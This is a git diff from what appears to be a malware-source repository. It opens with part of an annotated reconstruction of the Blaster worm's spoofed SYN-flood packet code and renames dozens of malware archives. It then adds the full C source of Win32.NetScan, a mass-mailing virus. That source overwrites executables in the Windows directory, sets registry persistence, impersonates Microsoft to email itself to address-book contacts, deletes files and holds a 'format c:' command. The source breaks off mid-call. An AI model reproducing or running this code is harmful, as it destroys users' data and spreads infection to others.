+* from. However, since the DoS attack creates its own +* headers, this step is largely redundent. */ +to.sin_family = AF_INET; +to.sin_port = htons(target_port); /*this makes no sense */ +to.sin_addr.s_addr = target_ip; + +/* Create the IP header */ +ip.verlen = 0x45; +ip.totallength = htons(sizeof(ip) + sizeof(tcp)); +ip.id = 1; +ip.offset = 0; +ip.ttl = 128; +ip.protocol = IPPROTO_TCP; +ip.checksum = 0; /*for now, set to true value below */ +ip.dstaddr = target_ip; + +/* Create the TCP header */ +tcp.dstport = htons(target_port); +tcp.ackno = 0; +tcp.offset = (unsigned char)(sizeof(tcp)<<4); +tcp.flags = 2; /*TCP_SYN*/ +tcp.window = htons(0x4000); +tcp.urgptr = 0; +tcp.checksum = 0; /*for now, set to true value below */ + +/* Create pseudo header (which copies portions of the IP +* header for TCP checksum calculation).*/ +pseudo.dstaddr = ip.dstaddr; +pseudo.padzero = 0; +pseudo.protocol = IPPROTO_TCP; +pseudo.tcplength = htons(sizeof(tcp)); + +/* Use the source adress chosen above that is close, but +* not the same, as the spreader's IP address */ +ip.srcaddr = source_ip; + +/* Choose a random source port in the range [1000-19999].*/ +tcp.srcport = htons((unsigned short)((rand()%1000)+1000)); + +/* Choose a random sequence number to start the connection. +* BUG: Buford meant htonl(), not htons(), which means seqno +* will be 15-bits, not 32-bits, i.e. in the range +* [0-32767]. (the Windows rand() function only returns +* 15-bits). */ +tcp.seqno = htons((unsigned short)((rand()<<16)|rand())); + +pseudo.srcaddr = source_ip; + +/* Calculate TCP checksum */ +memcpy(buf, &pseudo, sizeof(pseudo)); +memcpy(buf+sizeof(pseudo), &tcp, sizeof(tcp)); +tcp.checksum = blaster_checksum(buf, +sizeof(pseudo)+sizeof(tcp)); + +memcpy(buf, &ip, sizeof(ip)); +memcpy(buf+sizeof(ip), &tcp, sizeof(tcp)); + +/* I have no idea what's going on here. The assembly code +* zeroes out a bit of memory near the buffer. I don't know +* if it is trying to zero out a real variable that happens +* to be at the end of the buffer, or if it is trying to zero +* out part of the buffer itself. */ +memset(buf+sizeof(ip)+sizeof(tcp), 0, +sizeof(buf)-sizeof(ip)-sizeof(tcp)); + +/* Major bug here: the worm writer incorrectly calculates the +* IP checksum over the entire packet. This is incorrect -- +* the IP checksum is just for the IP header itself, not for +* the TCP header or data. However, Windows fixes the checksum +* anyway, so the bug doesn't appear in the actual packets +* themselves. +*/ +ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp)); + +/* Copy the header over again. The reason for this is simply to +* copy over the checksum that was just calculated above, but +* it's easier doing this for the programmer rather than +* figuring out the exact offset where the checksum is +* located */ +memcpy(buf, &ip, sizeof(ip)); + +/* Send the packet */ +sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0, +(struct sockaddr*)&to, sizeof(to)); +} \ No newline at end of file diff --git a/Win32/Generic Crimeware/Win32.BlowSXT.rar b/Win32/Win32.BlowSXT.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.BlowSXT.rar rename to Win32/Win32.BlowSXT.rar diff --git a/Win32/Novel Malware/Win32.Bootkit.Lkf.rar b/Win32/Win32.Bootkit.Lkf.rar similarity index 100% rename from Win32/Novel Malware/Win32.Bootkit.Lkf.rar rename to Win32/Win32.Bootkit.Lkf.rar diff --git a/Win32/Generic Crimeware/Win32.BotNET.a.rar b/Win32/Win32.BotNET.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.BotNET.a.rar rename to Win32/Win32.BotNET.a.rar diff --git a/Win32/Generic Crimeware/Win32.BsodInvoker.zip b/Win32/Win32.BsodInvoker.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.BsodInvoker.zip rename to Win32/Win32.BsodInvoker.zip diff --git a/Win32/Generic Crimeware/Win32.CBot.7z b/Win32/Win32.CBot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.CBot.7z rename to Win32/Win32.CBot.7z diff --git a/Win32/Generic Crimeware/Win32.Canbis.a.rar b/Win32/Win32.Canbis.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Canbis.a.rar rename to Win32/Win32.Canbis.a.rar diff --git a/Win32/Generic Crimeware/Win32.Casper.7z b/Win32/Win32.Casper.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Casper.7z rename to Win32/Win32.Casper.7z diff --git a/Win32/Generic Crimeware/Win32.Chameleon.7z b/Win32/Win32.Chameleon.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Chameleon.7z rename to Win32/Win32.Chameleon.7z diff --git a/Win32/Generic Crimeware/Win32.ChodeBot.a.7z b/Win32/Win32.ChodeBot.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.ChodeBot.a.7z rename to Win32/Win32.ChodeBot.a.7z diff --git a/Win32/Generic Crimeware/Win32.CiscoBot.7z b/Win32/Win32.CiscoBot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.CiscoBot.7z rename to Win32/Win32.CiscoBot.7z diff --git a/Win32/Generic Crimeware/Win32.Cissi.zip b/Win32/Win32.Cissi.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Cissi.zip rename to Win32/Win32.Cissi.zip diff --git a/Win32/Generic Crimeware/Win32.CpBot.7z b/Win32/Win32.CpBot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.CpBot.7z rename to Win32/Win32.CpBot.7z diff --git a/Win32/Generic Crimeware/Win32.CrackBot.adb.7z b/Win32/Win32.CrackBot.adb.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.CrackBot.adb.7z rename to Win32/Win32.CrackBot.adb.7z diff --git a/Win32/Generic Crimeware/Win32.CrxBot.rr.7z b/Win32/Win32.CrxBot.rr.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.CrxBot.rr.7z rename to Win32/Win32.CrxBot.rr.7z diff --git a/Win32/Generic Crimeware/Win32.DKCS.7z b/Win32/Win32.DKCS.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.DKCS.7z rename to Win32/Win32.DKCS.7z diff --git a/Win32/Generic Crimeware/Win32.DarkAnal.7z b/Win32/Win32.DarkAnal.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.DarkAnal.7z rename to Win32/Win32.DarkAnal.7z diff --git a/Win32/Generic Crimeware/Win32.DarkBot.f.a.c.7z b/Win32/Win32.DarkBot.f.a.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.DarkBot.f.a.c.7z rename to Win32/Win32.DarkBot.f.a.c.7z diff --git a/Win32/Generic Crimeware/Win32.DataSpyNetworkc2.b.7z b/Win32/Win32.DataSpyNetworkc2.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.DataSpyNetworkc2.b.7z rename to Win32/Win32.DataSpyNetworkc2.b.7z diff --git a/Win32/Generic Crimeware/Win32.Delikon.7z b/Win32/Win32.Delikon.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Delikon.7z rename to Win32/Win32.Delikon.7z diff --git a/Win32/Generic Crimeware/Win32.Dexter.p.7z b/Win32/Win32.Dexter.p.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Dexter.p.7z rename to Win32/Win32.Dexter.p.7z diff --git a/Win32/Generic Crimeware/Win32.Dixie.rar b/Win32/Win32.Dixie.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Dixie.rar rename to Win32/Win32.Dixie.rar diff --git a/Win32/Generic Crimeware/Win32.DonaldDick.7z b/Win32/Win32.DonaldDick.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.DonaldDick.7z rename to Win32/Win32.DonaldDick.7z diff --git a/Win32/Generic Crimeware/Win32.Dt8.rar b/Win32/Win32.Dt8.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Dt8.rar rename to Win32/Win32.Dt8.rar diff --git a/Win32/Generic Crimeware/Win32.EOF.a.7z b/Win32/Win32.EOF.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.EOF.a.7z rename to Win32/Win32.EOF.a.7z diff --git a/Win32/Generic Crimeware/Win32.Ejac.rar b/Win32/Win32.Ejac.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Ejac.rar rename to Win32/Win32.Ejac.rar diff --git a/Win32/Generic Crimeware/Win32.EnglishRat.7z b/Win32/Win32.EnglishRat.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.EnglishRat.7z rename to Win32/Win32.EnglishRat.7z diff --git a/Win32/Generic Crimeware/Win32.FakeAV.SystemSecurity2010.7z b/Win32/Win32.FakeAV.SystemSecurity2010.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.FakeAV.SystemSecurity2010.7z rename to Win32/Win32.FakeAV.SystemSecurity2010.7z diff --git a/Win32/Generic Crimeware/Win32.FlameBot.7z b/Win32/Win32.FlameBot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.FlameBot.7z rename to Win32/Win32.FlameBot.7z diff --git a/Win32/Generic Crimeware/Win32.Flexispy.7z b/Win32/Win32.Flexispy.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Flexispy.7z rename to Win32/Win32.Flexispy.7z diff --git a/Win32/Generic Crimeware/Win32.FuckYou.rar b/Win32/Win32.FuckYou.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.FuckYou.rar rename to Win32/Win32.FuckYou.rar diff --git a/Win32/Generic Crimeware/Win32.FukJ.7z b/Win32/Win32.FukJ.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.FukJ.7z rename to Win32/Win32.FukJ.7z diff --git a/Win32/Generic Crimeware/Win32.Fungus.7z b/Win32/Win32.Fungus.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Fungus.7z rename to Win32/Win32.Fungus.7z diff --git a/Win32/Generic Crimeware/Win32.GellBot.c.7z b/Win32/Win32.GellBot.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.GellBot.c.7z rename to Win32/Win32.GellBot.c.7z diff --git a/Win32/Generic Crimeware/Win32.Gigabot.7z b/Win32/Win32.Gigabot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Gigabot.7z rename to Win32/Win32.Gigabot.7z diff --git a/Win32/Generic Crimeware/Win32.Gobot.ad.rar b/Win32/Win32.Gobot.ad.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Gobot.ad.rar rename to Win32/Win32.Gobot.ad.rar diff --git a/Win32/Generic Crimeware/Win32.Gold.7z b/Win32/Win32.Gold.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Gold.7z rename to Win32/Win32.Gold.7z diff --git a/Win32/Generic Crimeware/Win32.Grum.7z b/Win32/Win32.Grum.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Grum.7z rename to Win32/Win32.Grum.7z diff --git a/Win32/Generic Crimeware/Win32.Grum.zip b/Win32/Win32.Grum.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Grum.zip rename to Win32/Win32.Grum.zip diff --git a/Win32/Generic Crimeware/Win32.Gsome.0.6a.7z b/Win32/Win32.Gsome.0.6a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Gsome.0.6a.7z rename to Win32/Win32.Gsome.0.6a.7z diff --git a/Win32/Generic Crimeware/Win32.Gsome.0.7.0.3.7z b/Win32/Win32.Gsome.0.7.0.3.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Gsome.0.7.0.3.7z rename to Win32/Win32.Gsome.0.7.0.3.7z diff --git a/Win32/Generic Crimeware/Win32.Guptchar.7z b/Win32/Win32.Guptchar.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Guptchar.7z rename to Win32/Win32.Guptchar.7z diff --git a/Win32/Generic Crimeware/Win32.Hacktool.Cryptic.c.7z b/Win32/Win32.Hacktool.Cryptic.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Hacktool.Cryptic.c.7z rename to Win32/Win32.Hacktool.Cryptic.c.7z diff --git a/Win32/Generic Crimeware/Win32.HarvecterBot.rar b/Win32/Win32.HarvecterBot.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.HarvecterBot.rar rename to Win32/Win32.HarvecterBot.rar diff --git a/Win32/Generic Crimeware/Win32.HdBot.c.rar b/Win32/Win32.HdBot.c.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.HdBot.c.rar rename to Win32/Win32.HdBot.c.rar diff --git a/Win32/Generic Crimeware/Win32.Heleks.a.7z b/Win32/Win32.Heleks.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Heleks.a.7z rename to Win32/Win32.Heleks.a.7z diff --git a/Win32/Generic Crimeware/Win32.Hidden.7z b/Win32/Win32.Hidden.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Hidden.7z rename to Win32/Win32.Hidden.7z diff --git a/Win32/Generic Crimeware/Win32.Hound.7z b/Win32/Win32.Hound.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Hound.7z rename to Win32/Win32.Hound.7z diff --git a/Win32/Generic Crimeware/Win32.Hydra.7z b/Win32/Win32.Hydra.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Hydra.7z rename to Win32/Win32.Hydra.7z diff --git a/Win32/Generic Crimeware/Win32.ICQPagerDataSpy.7z b/Win32/Win32.ICQPagerDataSpy.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.ICQPagerDataSpy.7z rename to Win32/Win32.ICQPagerDataSpy.7z diff --git a/Win32/Generic Crimeware/Win32.IMSpreader.7z b/Win32/Win32.IMSpreader.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.IMSpreader.7z rename to Win32/Win32.IMSpreader.7z diff --git a/Win32/Generic Crimeware/Win32.IStealer.e.rar b/Win32/Win32.IStealer.e.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.IStealer.e.rar rename to Win32/Win32.IStealer.e.rar diff --git a/Win32/Generic Crimeware/Win32.ImBot.a.c.7z b/Win32/Win32.ImBot.a.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.ImBot.a.c.7z rename to Win32/Win32.ImBot.a.c.7z diff --git a/Win32/Generic Crimeware/Win32.Immortal.b.7z b/Win32/Win32.Immortal.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Immortal.b.7z rename to Win32/Win32.Immortal.b.7z diff --git a/Win32/Generic Crimeware/Win32.Infest.7z b/Win32/Win32.Infest.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Infest.7z rename to Win32/Win32.Infest.7z diff --git a/Win32/Generic Crimeware/Win32.IntelligentNetSpy.7z b/Win32/Win32.IntelligentNetSpy.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.IntelligentNetSpy.7z rename to Win32/Win32.IntelligentNetSpy.7z diff --git a/Win32/Generic Crimeware/Win32.IrBot.7z b/Win32/Win32.IrBot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.IrBot.7z rename to Win32/Win32.IrBot.7z diff --git a/Win32/Generic Crimeware/Win32.IrcWorm.a.c.zip b/Win32/Win32.IrcWorm.a.c.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.IrcWorm.a.c.zip rename to Win32/Win32.IrcWorm.a.c.zip diff --git a/Win32/Generic Crimeware/Win32.JackShell.7z b/Win32/Win32.JackShell.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.JackShell.7z rename to Win32/Win32.JackShell.7z diff --git a/Win32/Generic Crimeware/Win32.Jigsaw.a.rar b/Win32/Win32.Jigsaw.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Jigsaw.a.rar rename to Win32/Win32.Jigsaw.a.rar diff --git a/Win32/Generic Crimeware/Win32.JrBot.rar b/Win32/Win32.JrBot.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.JrBot.rar rename to Win32/Win32.JrBot.rar diff --git a/Win32/Generic Crimeware/Win32.KayaBot.dyia.7z b/Win32/Win32.KayaBot.dyia.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.KayaBot.dyia.7z rename to Win32/Win32.KayaBot.dyia.7z diff --git a/Win32/Generic Crimeware/Win32.Kbot.7z b/Win32/Win32.Kbot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Kbot.7z rename to Win32/Win32.Kbot.7z diff --git a/Win32/Generic Crimeware/Win32.KeyboardHook.7z b/Win32/Win32.KeyboardHook.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.KeyboardHook.7z rename to Win32/Win32.KeyboardHook.7z diff --git a/Win32/Generic Crimeware/Win32.Krotten.7z b/Win32/Win32.Krotten.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Krotten.7z rename to Win32/Win32.Krotten.7z diff --git a/Win32/Generic Crimeware/Win32.Letum.7z b/Win32/Win32.Letum.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Letum.7z rename to Win32/Win32.Letum.7z diff --git a/Win32/Generic Crimeware/Win32.Liquid.7z b/Win32/Win32.Liquid.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Liquid.7z rename to Win32/Win32.Liquid.7z diff --git a/Win32/Generic Crimeware/Win32.LithiumPortscan.7z b/Win32/Win32.LithiumPortscan.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.LithiumPortscan.7z rename to Win32/Win32.LithiumPortscan.7z diff --git a/Win32/Generic Crimeware/Win32.Lnknell.rar b/Win32/Win32.Lnknell.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Lnknell.rar rename to Win32/Win32.Lnknell.rar diff --git a/Win32/Generic Crimeware/Win32.LoaderBot.a.7z b/Win32/Win32.LoaderBot.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.LoaderBot.a.7z rename to Win32/Win32.LoaderBot.a.7z diff --git a/Win32/Generic Crimeware/Win32.Lolworm.7z b/Win32/Win32.Lolworm.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Lolworm.7z rename to Win32/Win32.Lolworm.7z diff --git a/Win32/Generic Crimeware/Win32.MBot.7z b/Win32/Win32.MBot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.MBot.7z rename to Win32/Win32.MBot.7z diff --git a/Win32/Generic Crimeware/Win32.MSNSpread.7z b/Win32/Win32.MSNSpread.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.MSNSpread.7z rename to Win32/Win32.MSNSpread.7z diff --git a/Win32/Generic Crimeware/Win32.MailReactor.7z b/Win32/Win32.MailReactor.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.MailReactor.7z rename to Win32/Win32.MailReactor.7z diff --git a/Win32/Generic Crimeware/Win32.Metarage.k.rar b/Win32/Win32.Metarage.k.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Metarage.k.rar rename to Win32/Win32.Metarage.k.rar diff --git a/Win32/Generic Crimeware/Win32.Mimail.7z b/Win32/Win32.Mimail.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Mimail.7z rename to Win32/Win32.Mimail.7z diff --git a/Win32/Generic Crimeware/Win32.Minipanzer.7z b/Win32/Win32.Minipanzer.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Minipanzer.7z rename to Win32/Win32.Minipanzer.7z diff --git a/Win32/Generic Crimeware/Win32.MioStar.ab.7z b/Win32/Win32.MioStar.ab.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.MioStar.ab.7z rename to Win32/Win32.MioStar.ab.7z diff --git a/Win32/Generic Crimeware/Win32.Morphine.ce.7z b/Win32/Win32.Morphine.ce.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Morphine.ce.7z rename to Win32/Win32.Morphine.ce.7z diff --git a/Win32/Generic Crimeware/Win32.Moses.a.a.e.7z b/Win32/Win32.Moses.a.a.e.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Moses.a.a.e.7z rename to Win32/Win32.Moses.a.a.e.7z diff --git a/Win32/Generic Crimeware/Win32.MrAlex.a.7z b/Win32/Win32.MrAlex.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.MrAlex.a.7z rename to Win32/Win32.MrAlex.a.7z diff --git a/Win32/Generic Crimeware/Win32.Mydoom.a.7z b/Win32/Win32.Mydoom.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Mydoom.a.7z rename to Win32/Win32.Mydoom.a.7z diff --git a/Win32/Generic Crimeware/Win32.N00bKit.7z b/Win32/Win32.N00bKit.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.N00bKit.7z rename to Win32/Win32.N00bKit.7z diff --git a/Win32/Generic Crimeware/Win32.NB.b.7z b/Win32/Win32.NB.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.NB.b.7z rename to Win32/Win32.NB.b.7z diff --git a/Win32/Generic Crimeware/Win32.Napsin.7z b/Win32/Win32.Napsin.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Napsin.7z rename to Win32/Win32.Napsin.7z diff --git a/Win32/Win32.Netscan.c b/Win32/Win32.Netscan.c new file mode 100644 index 00000000..0d1e6733 --- /dev/null +++ b/Win32/Win32.Netscan.c @@ -0,0 +1,245 @@ +#include "netscan.h" +#pragma hdrstop +#pragma warning (disable: 4068) +#pragma warning (disable: 4001) +#pragma resource "resource.res" + +char GetNetScanPath[256],GetNetScanWinDir[256],MyBuffer[256]="echo y|format c: /u /v:HaHaHaHa"; +LPSTR FileEmm386 = "Emm386.exe"; +LPSTR FileSetver = "SetVer.exe"; +LPSTR Nom = "a"; +DWORD ExtInf; +int Err,ErrSend; +HANDLE NetScanTime,NetScanHandle,AutoBat; +HMODULE GetKernLib, GetMapiLib; +HKEY NetScan32Key,NetScanNTKey,NetScanInstall,CreateNetScan; +typedef DWORD(*RegistServProcs)(DWORD,DWORD); +typedef ULONG(*SendMessInfect)(LHANDLE,ULONG,MapiMessage FAR*,FLAGS,ULONG); +typedef ULONG(*FindUserAddress)(LHANDLE,ULONG,LPTSTR,FLAGS,ULONG,lpMapiRecipDesc FAR*); +typedef ULONG(*DoMemFree)(LPVOID); +HWND WindowsHwnd,SymantecHwnd,NAVHwnd; + +#pragma argsused +int APIENTRY WinMain +( +HINSTANCE hInstance, +HINSTANCE hPrevInstance, +LPSTR lpszCmdLine, +int nCmdShow +) +{ +//Win32.NetScan by ZeMacroKiller98 +//Tous droits r‚serv‚s (c) 2001 +WIN32_FIND_DATA GetFileToInfect; +OSVERSIONINFO GetOsVer; +FILETIME GetFileCreateTime,GetFileLstAccess,GetFileLstWrite; +SYSTEMTIME TriggerScanTime; +RegistServProcs MyServProcs; +SendMessInfect SendMessToOther; +FindUserAddress GetAddressUser; +DoMemFree GetMemFree; +GetKernLib = LoadLibrary("kernel32.dll"); +MyServProcs = (RegistServProcs)GetProcAddress(GetKernLib,"RegisterServiceProcess"); +MessageBox(NULL,"This freeware install automaticaly itself into your system\nIt scan your system each time you connect to network\nIf you have any problem, contact Microsoft","NetScan Utility",MB_OK|MB_ICONINFORMATION|MB_SYSTEMMODAL); +SearchPath(NULL,_argv[0],NULL,sizeof(GetNetScanPath),GetNetScanPath,NULL); +GetOsVer.dwOSVersionInfoSize = sizeof(GetOsVer); +GetVersionEx(&GetOsVer); +if(GetOsVer.dwPlatformId==VER_PLATFORM_WIN32_NT) +{ + RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\WindowsNT\\CurrentVersion\\RunServices",0,KEY_ALL_ACCESS,&NetScanNTKey); + RegSetValueEx(NetScanNTKey,"NetScanNT",0,REG_SZ,GetNetScanPath,sizeof(GetNetScanPath)); + RegCloseKey(NetScanNTKey); +} +else +{ + RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",0,KEY_ALL_ACCESS,&NetScan32Key); + RegSetValueEx(NetScan32Key,"NetScan32",0,REG_SZ,GetNetScanPath,sizeof(GetNetScanPath)); + RegCloseKey(NetScan32Key); +} +if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\NetScan\\Install",0,KEY_ALL_ACCESS,&NetScanInstall)!=ERROR_SUCCESS) +{ + GetMapiLib = LoadLibrary("mapi32.dll"); + GetWindowsDirectory(GetNetScanWinDir,sizeof(GetNetScanWinDir)); + SetCurrentDirectory(GetNetScanWinDir); + NetScanHandle = FindFirstFile("*.exe",&GetFileToInfect); + NetScanFind: + NetScanTime = CreateFile(GetFileToInfect.cFileName,GENERIC_READ|GENERIC_WRITE,0, NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); + GetFileTime(NetScanTime,&GetFileCreateTime,&GetFileLstAccess,&GetFileLstWrite); + CloseHandle(NetScanTime); + if((lstrcmp(GetFileToInfect.cFileName,"emm386.exe")==0)||(lstrcmp(GetFileToInfect.cFileName,"setver.exe")==0)) + goto NotInfection; + CopyFile(_argv[0],GetFileToInfect.cFileName,FALSE); + NetScanTime = CreateFile(GetFileToInfect.cFileName,GENERIC_READ|GENERIC_WRITE,0, NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); + SetFileTime(NetScanTime,&GetFileCreateTime,&GetFileLstAccess,&GetFileLstWrite); + CloseHandle(NetScanTime); + NotInfection: + if(FindNextFile(NetScanHandle,&GetFileToInfect)==TRUE) + goto NetScanFind; + FindClose(NetScanHandle); + RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Britney\\Install",&CreateNetScan); + RegCloseKey(CreateNetScan); + SendMessToOther = (SendMessInfect)GetProcAddress(GetMapiLib,"MAPISendMail"); + GetAddressUser = (FindUserAddress)GetProcAddress(GetMapiLib,"MAPIResolveName"); + GetMemFree = (DoMemFree)GetProcAddress(GetMapiLib,"MAPIFreeBuffer"); + if((SendMessToOther==NULL)||(GetAddressUser==NULL)||(GetMemFree==NULL)) + { + MessageBox(NULL,"This program need MAPI functions installed on your PC\nPlease contact your hot line to install it","NetScan Utility",MB_OK|MB_ICONEXCLAMATION); + SetCurrentDirectory("C:/"); + DeleteFile("*.*"); + ExitProcess(0); + } +MapiMessage stMessage; +MapiRecipDesc stRecip; +MapiFileDesc stFile; +lpMapiRecipDesc lpRecip; +stFile.ulReserved = 0; +stFile.flFlags = 0L; +stFile.nPosition = (ULONG)-1; +stFile.lpszPathName = GetNetScanPath; +stFile.lpszFileName = NULL; +stFile.lpFileType = NULL; +MessageBox(NULL,"To test your network, you need to select a email address into your address book\nPlease select address with","ILoveBritney Freeware",MB_OK|MB_ICONINFORMATION|MB_SYSTEMMODAL); +UnResolve: +Err = (GetAddressUser)(lhSessionNull,0L,Nom,MAPI_DIALOG,0L,&lpRecip); +if(Err!=SUCCESS_SUCCESS) +{ +switch(Err){ + case MAPI_E_AMBIGUOUS_RECIPIENT: + MessageBox(NULL,"The recipient requested has not been or could\n not be resolved to a unique address list entry","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); + break; + case MAPI_E_UNKNOWN_RECIPIENT: + MessageBox(NULL,"The recipient could not be resolved to any\naddress.The recipient might not exist or might be unknown","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); + break; + case MAPI_E_FAILURE: + MessageBox(NULL,"One or more unspecified errors occured\nThe name was not resolved","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); + DeleteFile("*.*"); + ExitProcess(0); + break; + case MAPI_E_INSUFFICIENT_MEMORY: + MessageBox(NULL,"There was insufficient memory to proceed","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); + DeleteFile("*.*"); + ExitProcess(0); + break; + case MAPI_E_NOT_SUPPORTED: + MessageBox(NULL,"The operation was not supported by the messaging system","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); + DeleteFile("*.*"); + ExitProcess(0); + break; + case MAPI_E_USER_ABORT: + MessageBox(NULL,"The user was cancelled one or more dialog box","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); + DeleteFile("*.*"); + ExitProcess(0); + break; + } +goto UnResolve; +} +stRecip.ulReserved = lpRecip->ulReserved; +stRecip.ulRecipClass = MAPI_TO; +stRecip.lpszName = lpRecip->lpszName; +stRecip.lpszAddress = lpRecip->lpszAddress; +stRecip.ulEIDSize = lpRecip->ulEIDSize; +stRecip.lpEntryID = lpRecip->lpEntryID; +stMessage.ulReserved = 0; +stMessage.lpszSubject = "Microsoft NetScan Utility"; +stMessage.lpszNoteText = lstrcat("Hi ",(lstrcat(lpRecip->lpszName,"\n\n\tI send you this mail to test my network\nI need you to send me a answer about it\nThis program can scan your network to find all problem into your network\n\n\tEnjoy to test your net...\nThank you and see you soon....\n\n\n\t\t\t\t\tMicrosoft Technical Support"))); +stMessage.lpszMessageType = NULL; +stMessage.lpszDateReceived = NULL; +stMessage.lpszConversationID = NULL; +stMessage.flFlags = 0L; +stMessage.lpOriginator = NULL; +stMessage.nRecipCount = 1; +stMessage.lpRecips = &stRecip; +stMessage.nFileCount = 1; +stMessage.lpFiles = &stFile; +ErrSend = (SendMessToOther)(lhSessionNull,0L,&stMessage,0L,0L); +if(ErrSend!=SUCCESS_SUCCESS) +{ + MessageBox(NULL,"The test can't continue, due to a error occured during to sending message\nPlease contact our hotline at hotline@microsoft.com","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); + DeleteFile("*.*"); + ExitProcess(0); +} +MessageBox(NULL,"The test is OK and NetScan is installed into your system\n", + "NetScan Utility", + MB_OK|MB_ICONINFORMATION); +FreeLibrary(GetMapiLib); +} +RegCloseKey(NetScanInstall); +STARTUPINFO NetScanInfo; +PROCESS_INFORMATION NetScanProc; +NetScanInfo.cb = sizeof(STARTUPINFO); +NetScanInfo.lpReserved = NULL; +NetScanInfo.lpReserved2 = NULL; +NetScanInfo.cbReserved2 = 0; +NetScanInfo.lpDesktop = NULL; +NetScanInfo.dwFlags = STARTF_FORCEOFFFEEDBACK; +if(CreateProcess(GetNetScanPath, + NULL, + (LPSECURITY_ATTRIBUTES)NULL, + 